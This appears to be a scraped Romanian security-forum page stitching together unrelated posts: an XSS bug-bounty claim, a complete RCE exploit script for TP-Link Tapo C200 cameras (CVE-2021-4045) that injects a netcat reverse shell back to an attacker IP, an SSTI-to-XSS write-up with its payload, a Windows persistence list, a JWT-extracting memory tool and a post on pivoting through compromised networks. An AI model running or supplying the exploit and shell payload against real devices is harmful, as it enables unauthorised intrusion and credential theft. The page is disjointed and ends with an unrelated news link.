Leaderboard

Salut. Am gasit doua vulnerabilitati XSS in aplicatiile detinute de cei de la Microsoft. Una este in Outlook, iar a doua intr-o alta aplicatie folosita si cunoscuta de multi... nu pot da detalii momentan deoarece nu a fost rezolvata nici una pana acum... Cel putin, nu am primit duplicat pe rapoartele trimise. 🙂 1. XSS reflected (without user interaction) - [*].live.com: 2. XSS reflected (user interaction required) - Outlook: Am observat ca si domeniile acestea sunt vulnerabile: office365.com si live.com.

# Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE) # Date: 02/11/2022 # Exploit Author: hacefresko # Vendor Homepage: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/ # Version: 1.1.15 and below # Tested on: 1.1.11, 1.1.14 and 1.1.15 # CVE : CVE-2021-4045 # Write up of the vulnerability: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce import requests, urllib3, sys, threading, os urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) PORT = 1337 REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f' NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version) if len(sys.argv) < 3: print("Usage: python3 pwnTapo.py <victim_ip> <attacker_ip>") exit() victim = sys.argv[1] attacker = sys.argv[2] print("[+] Listening on %d" % PORT) t = threading.Thread(target=os.system, args=(NC_COMMAND,)) t.start() print("[+] Serving payload to %s\n" % victim) url = "https://" + victim + ":443/" json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}} requests.post(url, json=json, verify=False) Source

Escalating SSTI to Reflected XSS using curly braces {} Hello everyone! My name is Sagar Sajeev and this is my writeup explaining how I was able to escalate a Server Side Template Injection (P4) to a much more severe XSS. Note: For those who haven't heard of Server Side Template Injection or SSTI, I’ll recommend you to get some understanding about SSTI before reading this writeup. I’ve made a specific writeup explaining SSTI. You can check it out by clicking here. Basically, it’s a way to inject something(payload) into the template engine which in turn gets executed on server side. Target Scenario After hours of hardwork of trying to find an endpoint vulnerable to XSS, I finally came to an one which seemed interesting to me. It was exposing a sign up page. What was interesting about this was, it was kept hidden. The url looked something like: https://www.redacted.com/engine/signup/create.php I tried XSS payloads there, but it was filtering everything. It was then I thought of adding curly braces {} to the first name, last name and address field. To my surprise, all three of the fields did not carry out any specific filtering for curly braces. I tried the following payload:- {{ &lt;svg/onload=prompt(&quot;XSS&quot;)&gt; }} I know the payload looks complicated. It’s just that all entities are URL-encoded. This is how decoded payload looks: {{ <svg/onload=prompt(“XSS”)> }} The thing is that, direct payload was not going through for some reason. I had to intercept the request using burp and then add the encoded payload. XSS was fired. Well, the thing is that this is just self-XSS. Self XSS to Stored XSS The target website had a section where you could create projects. Think of the project as a folder where you can store files. The project admin can share this to other “authenticated users”. The project must be given a name and is shared using a link. Well, I named the project with the payload. Thus, now the file name is:- {{ &lt;svg/onload=prompt(&quot;XSS&quot;)&gt; }} Insane bruh moment. No File name restrictions were kept and I could name the project in however way I want. Copy the share project link and sent it to other authenticated users. As I mentioned before, only authenticated users can view the project. So, the application forces the user to login before being able to see the shared project. When an authenticated user clicks on the link, Voilà and here it is! The XSS pop-up. Quick Recap SSTI based Self-XSS payload was created. Self-XSS was escalated to Reflected XSS (differs according to attack scenario). SSTI → Self XSS → Reflected XSS This ,in fact, could be escalated to more severity. The attacker could just create a project and share its link on social media. If ,by chance an authenticated user randomly clicks on the link, XSS could be triggered. My SSTI writeup can be found here:- https://sagarsajeev.medium.com/server-side-template-injection-something-distinct-f0ac234e379 Tips:- Make sure you spend time understanding the target. I spent nearly a week on this target to find this. Don’t keep on changing from one program to another just because you aren’t able to find a specific bug. Make a list of vulnerabilities you have learned and test each of them accordingly. Also, make sure to explain the impact to the highest severity. Let them know of the most potential impact that the vulnerability could have. I recommend you to make notes. May it be handwritten or in Notion. Make sure that you take notes. It will help in the long run. Timeline Submitted : 18–09–2022 Accepted : 19–09–2022 Rewarded with Amazon gift card : 22–09–2022 I do occasionally share some tips about Bug Bounties and related stuff over at my Twitter and LinkedIn handle. So do follow me there. If you’ve got any queries, feel free to message me. I will be more than happy to help. LinkedIn : https://www.linkedin.com/in/sagar-sajeev/ Twitter : https://twitter.com/Sagar__Sajeev Thanks for going through my writeup and I hope it was useful to you. I’ve made many other writeups on my Medium handle. Please do check those out as well. Happy Hunting! Sursa: https://sagarsajeev.medium.com/escalating-ssti-to-reflected-xss-using-curly-braces-825685bd93ec

The repository tries to gather an information about Windows persistence mechanisms to make the protection/detection more efficient. Most of the information is well known for years, being actively used within various scenarios. Expect more. I am doing my best to add new entries each day. How it works. And how to contribute. 👨‍💼 HKCU Run and RunOnce registry keys 👨‍💼 ⚙ Task Scheduler ⚙ Image File Execution Options key ⚙ Windows Services AeDebug WER Debugger * ⚙ Natural Language Development Platform 6 DLLs * ⚙ GPO Client-side Extension ⚙ Filter Handlers for Windows Search Disk Cleanup Handler 👨‍💼 .chm helper DLL * hhctrl.ocx * ⚙ AMSI Providers ⚙ ServerLevelPluginDll Password Filter Credential Manager DLL ⚙ Authentication Packages Code Signing DLL 👨‍💼 HKCU cmd.exe AutoRun ⚙ LSA Extension ⚙ Winlogon Notification Package ⚙ Print Monitor 👨‍💼 HKCU Load MPNotify ⚙ Windows Platform Binary Table Explorer tools * 👨‍💼 Windows Terminal Profile 👨‍💼 Startup Folder 👨‍💼 User Init Mpr Logon Script * ⚙ Autodial DLL * .NET Startup Hooks 👨‍💼 PowerShell Profiles 👨‍💼 TS Initial Program Want more? Check the list tomorrow. * Based on a research made by @Hexacorn - one of the best persistence hunters. ⚙ It is enough to turn computer on to make the code run. 👨‍💼 End-user can do it. Sursa: https://persistence-info.github.io/

https://community.tp-link.com/en/smart-home/forum/topic/542494

AzTokenFinder Is a small tool to extract JWT (or JWT like looking data) from different processes, like PowerShell, Excel, Word or others. The idea was from another tool which I read about on Twitter, but I could not find it anymore. Maybe someone could give me a hint. AzTokenFinder.exe --help --processname Names of process you want to parse. Please omit the ".exe". --processids ProcessIDs you want to parse. --default Enumerate Edge, Excel, Word, PowerShell, Teams, Onedrive and PowerPoint. --showexpiredtokes (Default: false) Shows expired tokens. --help Display this help screen. --version Display version information. How does it work There is nothing special in it. It simply opens the processes you provide and searches through the memory for JWT like looking data and extracts them. Note It currently only works with x64 processes and it does not extract refresh tokens currently. Maybe I'll change this later. Sursa: https://github.com/HackmichNet/AzTokenFinder

WireSocks for Easy Proxied Routing Reading time ~9 min Posted by Michael Kruger on 30 September 2022 Categories: Networking, Offence, Vpn, Windows I built some infrastructure that you could deploy and use to easily tunnel from arbitrary sources over a proxy such as SOCKS, using anything that can run WireGuard. This is convenient in cases where it would be nicer to have a full network route to a target network (with working DNS) vs just having application specific proxy rules. In this post I’ll elaborate a bit on that idea. If you are just looking for the code you can find it here: https://github.com/sensepost/wiresocks. Introduction We often get into a position where some sort of internal device has been compromised and you want to take it further. This involves getting network traffic through your compromised device via a SOCKS proxy. SOCKS proxies are everywhere and there are many examples of Cobalt Strike or Metasploit being used to proxy traffic through an agent or tools like ReGeorg, Pivotnacci or Chisel being used to proxy traffic via a compromised web server or similar. Existing solutions Once you have a SOCKS proxy setup, that is usually when good old reliable proxychains-ng comes into the picture where you’d use it to tunnel the majority of your tooling through the proxy. However, recently a lot of really nice tools have been released which have been made to run on Windows. This comes with the issue of how are we going to trick these Windows applications into using our proxy. The SpectorOps team wrote an excellent post detailing how to use software such as Proxifier and Proxycap on Windows to force your tools to use your proxy. If you haven’t, go read it! Unfortunately, in some edge cases those tools fail or become annoying by not catching all the traffic as you’d like. Having this happen a few times, I was struck with some inspiration. Why not do the redirection at a network level and avoid all the weird Windows nuances? Network Level Proxying Luckily for me there already was a project that handled this called tun2socks (originally I used RedSocks, but @RoganDawes showed me tun2socks which removes some of the iptables complexity in RedSocks) which is really just some Golang magic together with some routes that lets you redirect traffic into a tun device and have it push traffic through your SOCKS proxy. This seemed like a great idea, except every time you would want to use it for your Windows machine you would have to setup a Linux router with this installed and route your Windows machine through it. This would be more effort than Proxyfier, I felt. Turns out, we have this easy network tooling that runs on Windows (amongst others) that takes your traffic from one point to another called VPNs. More specifically in this instance I used WireGuard which is an awesome simple VPN that has clients for all manner of operating systems. WireSocks Glueing those two services together, ie. tun2socks and Wireguard, we can connect arbitrary clients via Wireguard and route traffic into a SOCKS proxy and into client networks. High level architecture diagram for WireSocks Using this setup, we can now interact with a remote network, using a traditional network route, complete with DNS resolution (more on that in a moment!). Listing of a Domain Controller’s shared folders via a SOCKS proxy exposed using Cobalt Strike, leveraging WireGuard and tun2socks to reach it. To make getting up and running even simpler I did some searching for docker containers to handle some of the work for me. I found that tun2socks also had a container, xjasonlyu/tun2socks and linuxserver/wireguard which I had previously used for my own WireGuard server. I did some editing of the tun2socks docker container with a simpler entry point to our use case. Using docker compose to glue the services together and to set this up quickly on a jump box, I gave it a test and was able to get SeatBelt.exe into the network from my own Windows VM just by connecting to the WireGuard VPN. \o/ Running SeatBelt on a remote host, inside the compromised network over our WireGuard tunnel, via a SOCKS proxy. DNS via WireSocks There is one problem though, UDP traffic is not working great (even though SOCKS5 supports it), which causes issues as DNS is over UDP. After fighting with tunnelling UDP traffic and eventually working out that the specific SOCKS proxy I was using did not support UDP I opted to setup a DNS server which would take UDP requests and forward them on as TCP. This was very easy as the linuxserver/wireguard docker had CoreDNS as its own DNS server for WireGuard clients. After looking at CoreDNS’ plugins I discovered the forward plugin supported an option to force TCP. This means that if the client uses the WireGuard CoreDNS server the request would be converted to TCP and would then be captured by tun2socks solving the issue. Once again I went for an allow list approach so that we can specify which DNS requests get forwarded through the SOCKS proxy so that we don’t spam the victims internal DNS with random requests. An example Corefile follows: # Domain that you would like to convert to TCP so that # it gets pushed through tun2socks example.zzz { loop log # Change IP to that of the internal DNS server you want to use. forward . 123.123.123.123:53 { force_tcp } } Bringing it all together To get this all setup easily, I created a basic Dockerfile based off the one in the tun2socks repo so that it would take my own entrypoint.sh. My entrypoint removed a lot of the iptables marks in the original and instead just parses some environment variables such as $TUN_INCLUDED_ROUTES to add routes in the docker container running tun2socks. config_route() { for addr in $(echo "$TUN_INCLUDED_ROUTES" | tr ',' '\n'); do ip route add $addr dev $TUN done } This docker now would setup the TUN interface and the configured routes would be redirected into the TUN and therefore into the SOCKS proxy. Now I just needed to run the second WireGuard docker and get it to use the same routes as well as have access to the network namespace of the tun2socks docker so it could use the TUN interface. Or I could just add a WireGuard server to the tun2socks docker. Turns out the first option is easier. It is possible to tell a docker to use the network namespace of another container when it gets setup. This is done by specifying container:container_name as a --net option like below: docker run -it --rm --net container:wiresocks alpine /bin/sh The above command would run an alpine container but its network stack would be the same as the wiresocks container which includes all the routes as well as the TUN interface. This allows you to generically add any dockerised tools into that namespace which would obey the routes and essentially be SOCKS’d via the proxy. This means you can bring any docker container into the same namespace and have it access the same network! Using the same namespace trick to attach a docker container with impacket tools installed to use the same socks proxy hack. Going back to WireGuard I created a docker-compose that handles most of the setup for you so that you can have any client machine get routed via SOCKS transparently: https://github.com/sensepost/wiresocks/blob/main/docker-compose.yml Getting started with Wiresocks Using WireSocks should be pretty simple. You need a host (say a jump box), a proxy (such as SOCKS) into your target network (your jump box should be able to reach it), and docker compose installed. Then, clone the WireSocks repository, copy the example .env.example file to .env, edit it appropriately and run docker compose up -d. With the stack up and running, you should see a new config/ directory which will contain the WireGuard client configuration files you’d need to configure on your clients (like Windows, Linux, macOS etc.). Conclusion So all of this provides a generic way to get a computer’s TCP traffic into a SOCKS proxy without too much funny business. UDP support is something that the SOCKS proxy would need support for and it also needs to play nicely with tun2socks, so if someone can figure that out before me, please let me know! The tool/docker can be found here: https://github.com/sensepost/wiresocks Hopefully this helps some people who have been frustrated by their tools not using their SOCKS. Sursa: https://sensepost.com/blog/2022/wiresocks-for-easy-proxied-routing/

https://adevarul.ro/stiri-interne/evenimente/inchisoare-pe-viata-pentru-luptatorul-k1-care-a-2209265.html?